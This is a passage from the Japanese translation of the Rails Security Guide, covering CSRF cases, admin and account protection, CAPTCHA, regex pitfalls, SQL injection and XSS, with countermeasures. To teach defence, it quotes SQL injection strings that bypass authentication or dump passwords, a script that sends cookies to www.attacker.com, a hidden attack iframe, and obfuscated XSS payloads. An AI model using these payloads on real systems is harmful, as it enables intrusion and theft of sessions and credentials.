現実に起きた事例としてCSRFによるルーター再構成 を取り上げましょう。この攻撃者は、CSRFを仕込んだ危険なメールをメキシコの多数のユーザーに送信しました。このメールには、「お客様のeカードをご用意いたしました」と書かれており、imageタグが含まれていました。そしてそのタグには、ユーザーのルーターを再構成してしまうHTTP GETリクエストが仕込まれていました。このルーターは、メキシコで広く普及しているモデルでした。このリクエストによってDNS設定が変更され、メキシコで事業を行っているネットバンキングWebサイトの一部が、攻撃者のWebサイトにマップされてしまいました。このルーターを経由してこのネットバンキングサイトにアクセスすると、攻撃者が設置した偽のWebサイトが開き、信用情報が盗まれてしまいました。

Google Adsenseのメールアドレスとパスワードが変更された事例もあります。標的となったユーザーがGoogle Adsenseにログインし、Google広告キャンペーン用の管理画面を開くと、攻撃者が信用情報を盗み出すことができてしまいました。

その他の有名な事例としては、危険なXSSを拡散するために一般のWebアプリケーションやブログ、掲示板が利用された事件があります。言うまでもなく、この攻撃を成功させるためには攻撃者がURL構造を知っている必要がありますが、RailsのURLはかなり構造が素直であるため、オープンソースの管理画面を使っていると構造を容易に推測できてしまいます。攻撃者は、ありそうなIDとパスワードの組み合わせを総当りで試す危険なImageタグを送り込むだけで、数千件ものまぐれ当たりを獲得することもあります。

管理画面やイントラネットへのCSRF攻撃への対策については、CSRFの対策についての節を参照してください

5.1 その他の予防策

管理画面は、多くの場合次のような作りになっているものです。www.example.com/admin のようなURLに置かれ、Userモデルのadminフラグがセットされている場合に限り、ここにアクセスできます。ユーザー入力が管理画面で再表示されると、管理者の権限でどんなデータでも削除/追加/編集できてしまいます。これについて考察してみましょう。

  • 常に最悪の事態を想定することは極めて重要です。「誰かが自分のcookieやユーザー情報を盗み出すことができたらどうなるか」。管理画面にロール (role)を導入することで、攻撃者が行える操作の範囲を狭めることができます。1人の管理者に全権を与えるのではなく、権限を複数管理者で分散する方法や、管理画面用に特別なログイン情報を別途設置するという方法もあります。一般ユーザーが登録されているUserモデルに管理者も登録し、管理者フラグで分類していると攻撃されやすいので、これを避けるためです。極めて重要な操作では別途特殊なパスワードを要求する方法もあります。

  • 管理者は、必ずしも世界中どこからでもそのWebアプリケーションにアクセスできる必要性はないはずです。送信元IPアドレスを一定の範囲に制限するという方法を考えてみましょう。request.remote_ipメソッドを使えばユーザーのIPアドレスをチェックできます。この方法は攻撃に対する直接の防御にはなりませんが、検問としては非常に有効です。ただし、プロキシを用いて送信元IPアドレスを偽る方法があることもお忘れなく。

  • 管理画面を特別なサブドメインに置き ( admin.application.com など)、さらに管理アプリケーションを独立させてユーザー管理を独自に行えるようにします。このような構成にすることで、通常の www.application.com ドメインからの管理者cookieを盗み出すことは不可能になります。ブラウザには同一生成元ポリシーがあるので www.application.com に注入されたXSSスクリプトからはadmin.application.comのcookieは読み出せず、逆についても同様に読み出し不可となります。

6 ユーザー管理

認証 (authentication) と認可 (authorization) はほぼすべてのWebアプリケーションにおいて不可欠です。認証システムは自前で作るよりも、広く使われているプラグイン (訳注: 現在ならgem) を使うことをお勧めします。ただし、常に最新の状態にアップデートするようにしてください。この他にいくつかの注意を守ることで、アプリケーションをよりセキュアにすることができます。

Railsでは多数の認証用プラグインを利用できます。人気の高いdeviseauthlogicなどの優れたプラグインは、パスワードを平文ではなく常に暗号化した状態で保存します。Rails 3.1では、同様の機能を持つビルトインのhas_secure_passwordメソッドを使えます。

新規ユーザーは必ずメール経由でアクティベーションコードを受け取り、メール内のリンク先でアカウントを有効にするようになっています。アカウントが有効になると、データベース上のアクティベーションコードのカラムはNULLに設定されます。以下のようなURLをリクエストするユーザーは、データベースで見つかる最初に有効になったユーザーとしてWebサイトにログインできてしまう可能性があります。そしてそれがたまたま管理者である可能性もありえます。

http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=

一部のサーバーでは、params[:id]で参照されるパラメータidがnilになってしまっていることがあるので、上のURLが通用してしまう可能性があります。アクティベーション操作中にこのことが敵に突き止められるまでの流れは以下のとおりです。

User.find_by_activation_code(params[:id])

パラメータがnilの場合、以下のSQLが生成されます。

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1

この結果、データベースに実在する最初のユーザーが検索で見つかり、結果が返されてログインされてしまいます。詳しくは筆者のブログ記事を参照してください。プラグインは、機会を見てアップデートすることをお勧めします。さらに、Webアプリケーションにこのような欠陥がないかどうか見直しをかけてください。

6.1 アカウントに対する総当たり攻撃

アカウントに対する総当たり攻撃 (Brute-force attack) とは、ログイン情報に対して試行錯誤を繰り返す攻撃です。エラーメッセージを具体的でない、より一般的なものにすることで回避可能ですが、CAPTCHA (相手がコンピュータでないことを確認するためのテスト) への情報入力の義務付けもおそらく必要でしょう。

Webアプリケーション用のユーザー名リスト (名簿) は、パスワードへの総当たり攻撃に悪用される可能性があります。パスワードがユーザー名と同じなど、単純極まりないパスワードを使っている人が驚くほど多いため、総当たり攻撃にこうした名簿が利用されやすいのです。辞書に載っている言葉に数字を混ぜた程度の弱いパスワードが使われていることもよくあります。従って、名簿と辞書を使って総当り攻撃を行なう自動化プログラムがあれば、ものの数分でパスワードを見破られてしまいます。

このような総当たり攻撃を少しでもかわすため、多くのWebアプリケーションではわざと具体的な情報を出さずに「ユーザー名またはパスワードが違います」という一般的なエラーメッセージを表示するようにしています。ユーザー名とパスワードどちらが違っているのかという情報を表示しないことで、総当たり攻撃による推測を少しでも遅らせます。「入力されたユーザー名は登録されていません」などという絶好の手がかりとなるメッセージを表示したら最後、攻撃者はすぐさまユーザー名リストを大量にかき集めて自動で巨大名簿を作成するでしょう。

しかし、Webアプリケーションのデザイナーがおろそかにしがちなのは、いわゆる「パスワードを忘れた場合」ページです。こうしたページではよく「入力されたユーザー名またはメールアドレスは登録されていません」という情報が表示されます。こうした情報を表示してしまうと、攻撃者がアカウントへの総当り攻撃に使う有効なユーザー名一覧を作成するのに利用されてしまいます。

これを少しでも緩和するには、「パスワードを忘れた場合」ページでも一般的なエラーメッセージを表示するようにしましょう。さらに特定のIPアドレスからのログインが一定回数以上失敗した場合には、CAPTCHAの入力をユーザーに義務付けるようにしましょう。もちろん、この程度では自動化された総当たり攻撃プログラムからの攻撃から完全に逃れることはできません。こうしたプログラムは送信元IPアドレスを頻繁に変更するぐらいのことはやってのけるからです。しかしこの対策は攻撃に対するある程度の防御になることも確かです。

6.2 アカウントのハイジャック

多くのWebアプリケーションでは、ユーザーアカウントを簡単にハイジャックできてしまいます。攻撃を困難にするような改良が進まないのはなぜでしょうか。

6.2.1 パスワード

攻撃者が、盗み出されたユーザーセッションcookieを手に入れ、それによってWebアプリケーションが標的ユーザーとの間で共用可能になった状態を考えてみましょう。パスワードが簡単に変更できる画面設計(古いパスワードの入力が不要)であれば、攻撃者は数クリックするだけでアカウントをハイジャックできてしまいます。あるいは、パスワード変更画面がCSRF攻撃に対して脆弱な作りになっている場合、攻撃者は標的ユーザーを別のWebページに誘い込み、CSRFを実行するように仕込まれたimgタグを踏ませて、標的ユーザーのWebパスワードを変更するでしょう。対応策としては、パスワード変更フォームがCSRF攻撃に対して脆弱にならないようにすることです。同時に、ユーザーにパスワードを変更させる場合は、古いパスワードを必ず入力させることです

6.2.2 メール

しかし攻撃者は、登録されているメールアドレスを変更することでアカウントを乗っ取ろうとする可能性もありますので、注意が必要です。攻撃者は、メールアドレス変更に成功すると「パスワードを忘れた場合」ページに移動し、攻撃者の新しいメールアドレスに変更通知メールを送信します。システムによってはこのメールに新しいパスワードが記載されていることもあります。対応策は、メールアドレスを変更する場合にもパスワード入力を必須にすることです。

6.2.3 その他

Webアプリケーションの構成によっては、ユーザーアカウントをハイジャックする方法が他にも潜んでいる可能性があります。多くの場合、CSRFとXSSが原因となります。ここではGMailのCSRF脆弱性 で紹介されている例をとりあげます。同記事の概念実証によると、この攻撃を受けた場合、標的ユーザーは攻撃者が支配するWebサイトに誘い込まれます。そのサイトのImgタグには仕掛けがあり、GMailのフィルタ設定を変更するHTTP GETリクエストがそこから送信されます。この標的ユーザーがGMailにログインしていた場合、フィルタ設定が攻撃者によって変更され、この場合はすべてのメールが攻撃者に転送されるようになります。この状態は、アカウント全体がハイジャックされたのと同じぐらいに有害です。対応策は、アプリケーションのロジックを見なおしてXSSやCSRF脆弱性を完全に排除することです。

6.3 CAPTCHA

CAPTCHAとは、コンピュータによる自動応答でないことを確認するためのチャレンジ-レスポンス式テストです。コメント入力欄などで、歪んだ画像に表示されている文字を入力させることで、入力者が自動スパムボットでないことを確認する場合によく使われます。ネガティブCAPTCHAという手法を使えば、入力者に自分が人間であることを証明させるかわりに、ボットを罠にはめて正体を暴くことができます。

CAPTCHAのAPIとしてはreCAPTCHAが有名です。これは古書から引用した単語を歪んだ画像として表示します。初期のCAPTCHAでは背景を歪めたり文字を曲げたりしていましたが、後者は突破されたため、現在では文字の上に曲線も書き加えて強化しています。なお、reCAPTCHAは古書のデジタル化にも使えます。ReCAPTCHAはRailsのプラグインにもなっており、APIとして同じ名前が使われています。

このAPIからは公開鍵と秘密鍵の2つの鍵を受け取ります。これらはRailsの環境に置く必要があります。それにより、ビューでrecaptcha_tagsメソッドを、コントローラではverify_recaptchaメソッドをそれぞれ利用できます。検証に失敗するとverify_recaptchaからfalseが返されます。

CAPTCHAの問題は、ユーザーエクスペリエンスを多少損ねることです。さらに、弱視など視力に問題のあるユーザーはCAPTCHAの歪んだ画像をうまく読めないこともあります。なおポジティブCAPTCHAは、ボットによるあらゆるフォーム自動送信を防ぐ優れた方法のひとつです。

ほとんどのボットは、単にWebページをクロールしてフォームを見つけてはスパム文を入力するだけのお粗末なものです。ネガティブCAPTCHAではこれを逆手に取り、フォームに「ハニーポット」フィールドを置いておきます。これは、CSSやJavaScriptを用いて人間には表示されないように設定されたダミーのフィールドです。

ネガティブCAPTCHAが効果を発揮するのはWebをクロールする自動ボットからの保護のみであり、重要なサイトに狙いを定めるボットを防ぐのには不向きです。しかしネガティブCAPTCHAとポジティブCAPTCHAをうまく組み合わせればパフォーマンスを改善できることがあります。たとえば「ハニーポット」フィールドに何か入力された(=ボットが検出された)場合はポジティブCAPTCHAの検証は不要になり、レスポンス処理の前にGoogle ReCapchaにHTTPSリクエストを送信せずに済みます。

JavaScriptやCSSを用いてハニーポットフィールドを人間から隠す方法をいくつかご紹介します。

  • ハニーポットフィールドを画面の外に追いやってユーザーから見えないようにする
  • フィールドを目に見えないくらい小さくしたり、背景と同じ色にしたりする
  • ハニーポットフィールドをあえて隠さず、「このフィールドには何も入力しないでください」と表示する

最もシンプルなネガティブCAPTCHAは、「ハニーポット」フィールドを1つ使います。このフィールドはサーバー側でチェックします。フィールドに何か書き込まれていれば、入力者はボットであると判定できます。後はフォームの内容を無視するなり、通常通りメッセージを表示する(データベースには保存しない)などすればよいのです。通常のメッセージをもっともらしく表示しておけば、ボットは書き込み失敗に気が付かないまま満足して次の獲物を探すでしょう。

Ned Batchelderのブログ記事には、さらに洗練されたネガティブCAPTCHA手法がいくつか紹介されています。

  • 現在のUTCタイムスタンプを含めたフィールドをフォームに含めておき、サーバー側でこのフィールドをチェックします。フィールドの時刻が遠い過去や未来の時刻であれば、そのフォームは無効です。
  • フィールド名をランダムに変更します
  • 送信ボタンを含むあらゆる型の数だけハニーポットフィールドを複数用意します。

この方法で防御できるのは自動ボットだけであり、狙いを定めて特別に仕立てられたボットは防げません。つまり、ネガティブキャプチャはログインフォームの保護には必ずしも向いているとは限りません。

6.4 ログ出力

パスワードをRailsのログに出力しないこと。

デフォルトでは、RailsのログにはWebアプリケーションへのリクエストがすべて出力されます。しかしログファイルにはログイン情報、クレジットカード番号などの情報が含まれていることがあるため、重大なセキュリティ問題の原因になることがあります。Webアプリケーションのセキュリティコンセプトを設計するときには、攻撃者がWebサーバーへのフルアクセスに成功してしまった場合のことも必ず考慮に含めておく必要があります。パスワードや機密情報をログファイルに平文のまま出力してしまうと、データベース上でこれらの情報を暗号化する意味がなくなってしまいます。Railsアプリケーションの設定ファイル config.filter_parameters に特定のリクエストパラメータをログ出力時にフィルタする設定を追加できます。フィルタされたパラメータはログ内で[FILTERED]という文字に置き換えられます。

config.filter_parameters << :password

指定したパラメータは正規表現の「部分マッチ」によって除外されます。Railsはデフォルトで:passwordを適切なイニシャライザ(initializers/filter_parameter_logging.rb)に追加し、アプリケーションの典型的なpasswordパラメータやpassword_confirmationパラメータに配慮します。

6.5 正規表現

Rubyの正規表現で落とし穴になりやすいのは、より安全な\A\zがあることを知らずに危険な^$を使ってしまうことです。

Rubyの正規表現では、文字列の冒頭や末尾にマッチさせる方法が他の言語と若干異なります。このため、多くのRuby本やRails本でもこの点について間違った記載があります。いったいどのような問題が生じるのでしょうか。たとえば、URL形式になっているかどうかをざっくりと検証するために、以下のような単純な正規表現を使ったとします。

  /^https?:\/\/[^\n]+$/i

これは一部の言語では正常に動作します。しかし、Rubyでは^$は、入力全体の冒頭と末尾ではなく、「 行の」冒頭と末尾にマッチしてしまいます。従って、この場合以下のような毒入りURLはフィルタを通過してしまいます。

javascript:exploit_code();/*
http://hi.com
*/

上のURLがフィルタに引っかからないのは、入力の2行目にマッチしてしまうからです。従って、1行目と3行目にどんな文字列があってもフィルタを通過してしまいます。フィルタをすり抜けてしまったURLが、今度はビューの以下の箇所で表示されたとします。

  link_to "Homepage", @user.homepage

表示されるリンクは一見無害に見えますが、クリックすると、攻撃者が送り込んだ邪悪なJavaScript関数を初めとするJavaScriptコードが実行されてしまいます。

これらの正規表現に含まれる危険な^$は、安全な\A\zに置き換える必要があります。

  /\Ahttps?:\/\/[^\n]+\z/i

^$をうっかり使ってしまうミスが頻発したため、Railsのフォーマットバリデータ(validates_format_of) では、正規表現の冒頭の^や末尾の$に対して例外を発生するようになりました。めったにないと思われますが、\A\zの代りに^$をどうしても使いたい場合は、:multilineオプションをtrueに設定することもできます。

  # この文字列のどの行にも"Meanwhile"という文字が含まれている必要がある
  validates :content, format: { with: /^Meanwhile$/, multiline: true }

この機能は、フォーマットバリデータ利用時に起きがちなミスから保護するだけのものであり、それ以上のものではない点にご注意ください。^$はRubyでは 1つの行 に対してマッチし、文字列全体にはマッチしないということを開発者が十分理解しておくことが重要です。

6.6 権限昇格

パラメータが1つ変更されただけでも、ユーザーが不正な権限でアクセスできるようになってしまうことがあります。パラメータは、たとえどれほど難読化し、隠蔽したとしても、変更される可能性が常にあることを肝に銘じてください。

改ざんされる可能性が高いパラメータといえばidでしょう。http://www.domain.com/project/1の1がidです。このidはコントローラのparamsを経由して取得できます。コントローラ内では多くの場合、次のようなコードが使われている可能性があります。

@project = Project.find(params[:id])

このコードで問題がないWebアプリケーションもあるにはありますが、そのユーザーがすべてのビューを参照する権限を持っていない場合には問題となります。このユーザーがURLのidを42に変更し、本来のidでは表示できないページを表示できてしまうからです。このようなことにならないよう、ユーザーのアクセス権も必ずクエリに含めてください

@project = @current_user.projects.find(params[:id])

Webアプリケーションによっては、ユーザーが改ざん可能なパラメータが他にも潜んでいる可能性があります。要するに、安全確認が終わっていないユーザー入力が安全である可能性はゼロであり、ユーザーから送信されるいかなるパラメータであっても、何らかの操作が加えられている可能性が常にあるということです。

難読化とJavaScriptによる検証のセキュリティだけでお茶を濁してはいけません。ブラウザのWeb Developer Toolbarを使えば、フォームの隠しフィールドを見つけて変更することもできます。JavaScriptを使ってユーザーの入力データを検証することはできても、攻撃者が想定外の値を与えて邪悪なリクエストを送信することは阻止しようがありません。Mozilla Firefox用のFirebugアドオンを使えば、すべてのリクエストをログに記録して、リクエストを繰り返し送信することも、リクエストを変更することもできてしまいます。さらに、JavaScriptによる検証はブラウザのJavaScriptをオフにするだけで簡単にバイパスできてしまいます。さらに、クライアントやインターネットのあらゆるリクエストやレスポンスを密かに傍受するプロキシがクライアント側に潜んでいる可能性すらあります。

7 インジェクション

インジェクション (注入) とは、Webアプリケーションに邪悪なコードやパラメータを導入して、そのときのセキュリティ権限で実行させることです。XSS (クロスサイトスクリプティング) やSQLインジェクションはインジェクションの顕著な例です。

インジェクションによって注入されるコードやパラメータは、あるコンテキストではきわめて有害であっても、それ以外のほとんどのコンテキストでは無害です。その意味で、インジェクションは非常にトリッキーであると言えます。ここでいうコンテキストとは、スクリプティング、クエリ、プログラミング言語、シェル、RubyやRailsのメソッドなどがあります。以下の節では、インジェクション攻撃で発生する可能性のある重要なコンテキストについて説明します。ただし最初の節では、インジェクションに関連するアーキテクチャ上の決定事項について説明します。

7.1 許可リスト方式と拒否リスト方式

通常、サニタイズや保護や検証では、拒否リスト方式よりも許可リスト方式が望ましい方法です。

拒否リストに使われるのは、有害なメールアドレス、publicでないアクション、邪悪なHTMLタグなどです。許可リストはこれと真逆で、有害ではないメールアドレス、publicなアクション、無害なHTMLタグなどが許可リストになります。スパムフィルタなど、対象によっては許可リストを作成しようがないこともありますが、基本的に許可リスト方式を使いましょう

  • セキュリティに関連するbefore_actionでは、except: [...]ではなくonly: [...]を使いましょう。その方が将来コントローラにアクションを追加するときにセキュリティチェックを忘れずに済みます。
  • クロスサイトスクリプティング (XSS) 対策として<script>を削除する拒否リスト方式ではなく、たとえば<strong>だけを許可する許可リスト方式にしましょう。理由については以下をご覧ください。
  • ユーザー入力データを拒否リスト方式で訂正してはいけません。
    • そのようなことをすると、たとえば"<sc<script>ript>".gsub("<script>", "")という攻撃にやられてしまいます。
    • 有害な入力は断固拒否してください。

特定の項目だけを許可する許可リスト方式は、拒否リストへの追加漏れのようなヒューマンエラーに強いのも望ましい点です。

7.2 SQLインジェクション

さまざまなよい手法が出現したおかげで、SQLインジェクションがRailsアプリケーションで問題になることはめったになくなりました。しかしSQLインジェクションはひとたび発生すれば壊滅的な打撃を受ける可能性があり、Webアプリケーションに対する一般的な攻撃方法でもあるため、この問題を十分に理解することが重要です。

7.2.1 はじめに

SQLインジェクションは、Webアプリケーションのパラメータを操作してデータベースクエリに影響を与えることを目的とした攻撃手法です。SQLインジェクションは、認証をバイパスする目的でよく使われます。他にも、データを操作したり任意のデータを読み出したりする目的にも使われます。クエリのユーザー入力データをそのまま使わずに改ざんする方法の例を以下で説明します。

Project.where("name = '#{params[:name]}'")

上のコードは検索用のアクションなどで使われるものであり、ユーザーは検索したいプロジェクト名を入力します。ここで、悪意のあるユーザーが' OR 1 --という文字列を入力すると、以下のSQLクエリが生成されます。

SELECT * FROM projects WHERE name = '' OR 1 --'

2つのダッシュ「--」が末尾に置かれると、以後に追加されるクエリがすべてコメントと見なされてしまい、実行されなくなります。そのため、projectsテーブルからすべてのレコードが取り出されます。これらは通常のユーザーからは参照できないはずのものです。これは、クエリですべての条件がtrueになっているために発生しています。

7.2.2 認証のバイパス

Webアプリケーションでは何らかの形でアクセス制御が行われるのが普通です。ユーザーがログイン情報を入力すると、Webアプリケーションはユーザーテーブルに登録されているレコードとマッチするかどうかを調べます。既存のレコードとマッチする場合、アプリケーションはアクセスを許可します。しかし、攻撃者がSQLインジェクションでこの認証をすり抜けてしまう可能性があります。以下はRailsにおける典型的なデータベースクエリです。ユーザーが入力したログイン情報パラメータとマッチするUserテーブル上の最初のレコードを返します。

User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")

ここで攻撃者が「' OR '1'='1」という文字列を名前フィールドに入力し、「' OR '2'>'1」をパスワードフィールドに入力すると以下のSQLクエリが生成されます。

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

マッチする最初のレコードがこのクエリによって取得され、ユーザーにアクセスが許可されてしまいます。

7.2.3 不正なデータ読み出し

UNION文は2つのSQLクエリをつなぎ、1つのセットとしてデータを返します。攻撃者がUNIONでデータベースから任意のデータを読み出す可能性があります。再び上の例を用いて説明します。

Project.where("name = '#{params[:name]}'")

ここで、UNION文を用いて以下の文字列を注入したとします。

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

これによって以下のSQLが生成されます。

SELECT * FROM projects WHERE (name = '') UNION
  SELECT id,login AS name,password AS description,1,1,1 FROM users --'

このクエリで得られるのはプロジェクトのリストではなく(名前が空欄のプロジェクトはないので)、ユーザー名とパスワードのリストです。データベース上のパスワードが暗号化されていればまだ最悪の事態は避けられます。一方、攻撃者にとっての問題は、両方のクエリでカラムの数を同じにしなければならないことだけです。この攻撃用文字列では、そのために2番目のクエリに「1」を連続して配置しています。これらの値は常に1になるので、1番目のクエリのカラム数と一致します。

同様に、2番目のクエリではカラム名をASでリネームしています。これにより、ユーザーテーブルから取り出した値がWebアプリケーション上で表示されます。Railsを最低でも2.1.1にアップデートしてください。

7.2.4 対応策

Ruby on Railsには、特殊なSQL文字をフィルタが組み込まれており、「'」「"」「NULL」「改行」をエスケープします。Model.find(id)Model.find_by_なんちゃら(かんちゃら)といったクエリでは自動的にこの対応策が適用されます。ただし、SQLフラグメント、特に条件フラグメント (where("..."))、connection.execute()またはModel.find_by_sql()メソッドについては手動でエスケープする必要があります。

条件オプションに文字列を直接渡す代りに、以下のように配列を渡すことで、汚染された文字列をサニタイズすることもできます。

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

上に示したように、配列の最初の部分がSQLフラグメントになっており、その中に疑問符「?」が含まれています。サニタイズされた変数は、配列の後半に置かれており、フラグメント内の疑問符を置き換えます。ハッシュを渡して同じ結果を得ることもできます。

Model.where(login: entered_user_name, password: entered_password).first

モデルのインスタンスでは、配列またはハッシュのみを利用できます。それ以外の場所ではsanitize_sql()を使うのもよいでしょう。SQLで外部の文字列をサニタイズせずに使うと、セキュリティ上重大な結果がもたらされる可能性があることに普段から注意する習慣をつけましょう

7.3 クロスサイトスクリプティング (XSS)

XSSは最も発生しやすいWebセキュリティ上の脆弱性であり、ひとたび発生すると壊滅的な影響が生じる可能性があります。XSSを利用した悪意のある攻撃が行われると、クライアント側のコンピュータに実行可能なコードが注入されてしまいます。Railsには、このような攻撃をかわすためのヘルパーメソッドが用意されています。

7.3.1 攻撃点

攻撃点 (entry point) とは、攻撃者が攻撃を向ける対象となる、脆弱なURLおよびパラメータのことです。

攻撃点として最も選ばれやすいのはメッセージ投稿、ユーザーコメント、ゲストブックですが、プロジェクトタイトル、ドキュメント名、検索結果ページなども同様に脆弱性を抱えていたことがありました。ユーザーがデータを入力可能なあらゆる部分が攻撃点になる可能性があります。ただし、攻撃者がデータを入力するのはWebサイト上の入力ボックスとは限りません。URLに含まれているパラメータ、URLに直接含まれていないが利用可能な「隠れた」パラメータ、URLに含まれない内部パラメータ、どれも攻撃者がデータを入力する可能性があります。攻撃者がすべてのトラフィックを傍受している可能性を常に考慮に入れる必要があります。アプリケーションプロキシやクライアント側プロキシを悪用すれば、リクエストを簡単に改ざんできます。

XSS攻撃は次のように行われます。攻撃者が何らかのコードをWebアプリケーションに注入し、後に標的ユーザーのWebページ上に表示されます。XSS事例の多くは警告ボックスを表示する程度のものですが、実際はもっと凶悪です。XSSを使うことで、cookieの盗み出し、セッションのハイジャック、標的ユーザーを偽のWebサイトに誘い込む、攻撃者の利益になるような広告を表示する、Webサイトの要素を書き換えてユーザー情報を盗み出す、あるいはWebブラウザのセキュリティ・ホールを経由して邪悪なソフトウェアをインストールすることもできます。

2007年後半、Mozillaブラウザで88の脆弱性、Safariで22、IEで18、Operaで12の脆弱性が報告されました。Symantec Global Internet Security threat report には、2007年後半にブラウザのプラグインで239の脆弱性が報告されています。Mpackは大変活発かつ最新の攻撃用フレームワークであり、これらの脆弱性を利用しています。犯罪的なハッカーにとって、WebアプリケーションフレームワークのSQLインジェクションの脆弱性につけ込み、テキストテーブルのカラムに凶悪なコードを注入して回るのはたまらない魅力です。2008年4月には、510,000以上のWebサイトがこの方法でハッキングされ、英国政府、国連など多くの重要なサイトが被害に遭いました。

7.3.2 HTML/JavaScriptインジェクション

XSS攻撃に利用されやすい言語は、言うまでもなくクライアント側で最も普及している言語であるJavaScriptであり、しばしばHTMLと組み合わせて攻撃に利用されます。攻撃を避けるにはユーザー入力をエスケープする必要があります。

XSSをチェックする最も簡単なテストをご紹介します。

<script>alert('Hello');</script>

このJavaScriptコードを実行すると、警告ボックスが1つ表示されるだけです。次の例では、見かけの動作はまったく同じですが、通常ではありえない場所にコードが置かれています。

<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
7.3.2.1 Cookie窃盗

先ほどの例では何の害も生じないので、今度は攻撃者がユーザーのcookieを盗み出す手法をご紹介します (攻撃者はこれを利用してユーザーのセッションをハイジャックします)。JavaScriptでは、document.cookieプロパティを利用してドキュメントのcookieを読み書きできます。JavaScriptでは同一生成元ポリシーが強制的に適用されます。これは、あるドメインから送り込まれたスクリプトからは、別のドメインのcookieにアクセスできないようにするポリシーです。document.cookieプロパティには、生成元webサーバーのcookieが保存されています。しかし、HTMLドキュメントに直接コードを埋め込むと(XSSによってこれが生じることがあります)、このプロパティを読み書きできてしまいます。このコードを自分のWebアプリケーションの適当な場所に手動で注入してみれば、そのページに含まれている自身のcookieが表示されることを確認できます。

<script>document.write(document.cookie);</script>

もちろん、攻撃者にしてみれば標的ユーザーが自分で自分のcookieを表示したところで何の意味もありません。次の例では http://www.attacker.com/ というURLから画像とcookieを読み込みます。言うまでもありませんが、このURLは実際には存在しませんので、ブラウザには何も表示されません(訳注: 現在は売り物件のWebページがあるようです)。ただし攻撃者がWebサーバーのアクセスログファイルを調べて標的ユーザーのcookieを参照する可能性もあります。

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

www.attacker.com サイト上のログファイルには以下のように記録されます。

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

この攻撃をある程度緩和するためにはhttpOnlyフラグをcookieに追加します。これにより、document.cookieをJavaScriptで読み出せなくなります。HTTP only cookieはIE v6.SP1、Firefox v2.0.0.5、Opera 9.5以降で利用できます。Safariはまだこのフラグを検討中であり、このオプションは無視されます。ただしWebTVやMac版IE 5.5などの古いブラウザでは、ページ上での読み込みに失敗します。なお、Ajaxを使うとcookieが表示可能になることにもご注意ください。

7.3.2.2 Webページの汚損

Webページを書き換える (汚損) ことで、偽の情報を表示したり、標的ユーザーを攻撃者の偽サイトに誘い込んでcookieやログイン情報などの重要データを盗み出すなどのさまざまな攻撃が可能になります。最も多い攻撃は、iframeタグを悪用して外部のコードをWebページに含める方法です。

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

このコードによって、外部にある任意のHTMLやJavaScriptが読み込まれ、Webサイトの一部として埋め込まれます。上のiframeは、Mpack攻撃フレームワークを使ってイタリアにあるWebサイトへの攻撃で実際に用いられたものです。MpackはWebブラウザのセキュリティホールを介して邪悪なソフトウェアをインストールしようとします。そして攻撃の成功率は50%を誇っています。

さらに特殊な攻撃としては、Webサイト全体を上に重ねて表示したりログインフォームを表示したりするという手口があります。これらは元のサイトと一見そっくりですが、入力されたユーザー名とパスワードを密かに攻撃者のサイトに送信します。あるいは、CSSやJavaScriptを駆使してWebアプリケーション上の本物のリンクを隠して別のリンクを表示し、ユーザーを偽のサイトにリダイレクトするという手法もあります。

リフレクションインジェクション (Reflected injection) 攻撃も同様の攻撃です。後で標的ユーザーに表示するペイロードを実際には保存せず、代わりにURLに長大な文字列として仕込んでおく手法です。特に検索フォームで検索文字列のエスケープに失敗します。以下のリンク先には、「ジョージ・ブッシュが9歳の男の子を議長に任命」と書かれたページがありました。

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
  <script src=http://www.securitylab.ru/test/sc.js></script><!--
7.3.2.3 対応策

悪意のある入力をフィルタすることがきわめて重要です。Webアプリケーションの出力をエスケープすることも同様に重要です

特にXSSの場合、拒否リスト方式ではなく許可リスト方式で入力をフィルタすることが絶対重要です。許可リストフィルタでは特定の値のみが許可され、それ以外の値はすべて拒否されます。拒否リスト方式を元にしている限り、必ず将来漏れが生じます。

ユーザー入力から「script」という文字を除去するのに使われている拒否リストがあるとしましょう。それなら攻撃者は次には「<scrscriptipt>」という文字を入力するでしょう。この文字がフィルタされると「<script>」という文字がそっくり残ってしまいます。以前のRailsではstrip_tags()strip_links()sanitize()メソッドで拒否リスト的アプローチが使われていたため、当時は以下のような攻撃が可能でした。

strip_tags("some<<b>script>alert('hello')<</b>/script>")

フィルタから返される「some<script>alert('hello')</script>」という文字列の攻撃能力は失われていません。だからこそ、許可リストを用いるフィルタリングをおすすめします。許可リストによるフィルタは、Rails 2でアップデートされたsanitize()メソッドで使われています。

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))

この方法なら指定されたタグのみが許可されるため、あらゆる攻撃方法や邪悪なタグに対してフィルタが健全に機能します。

第2段階として、Webアプリケーションからの出力をもれなくエスケープすることが優れた対策となります。これは特に、ユーザー入力の段階でフィルタされなかった文字列がWeb画面に再表示されてしまうようなことがあった場合に有効です。escapeHTML() (または別名のh()) メソッドを用いて、HTML入力文字「&」「"」「<」「>」を、無害なHTML表現形式(&amp;&quot;&lt;&gt;) に置き換えます。

7.3.2.4 攻撃の難読化とエンコーディングインジェクション

従来のネットワークトラフィックは西欧文化圏のアルファベットがほとんどでしたが、それ以外の言語を伝えるためにUnicodeなどの新しいエンコード方式が使われるようになってきました。しかしこれはWebアプリケーションにとっては新たな脅威となるかもしれません。異なるコードでエンコードされた中に、ブラウザでは処理可能だがサーバーでは処理されないような悪意のあるコードが潜んでいるかもしれないからです。UTF-8による攻撃方法の例を以下に示します。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

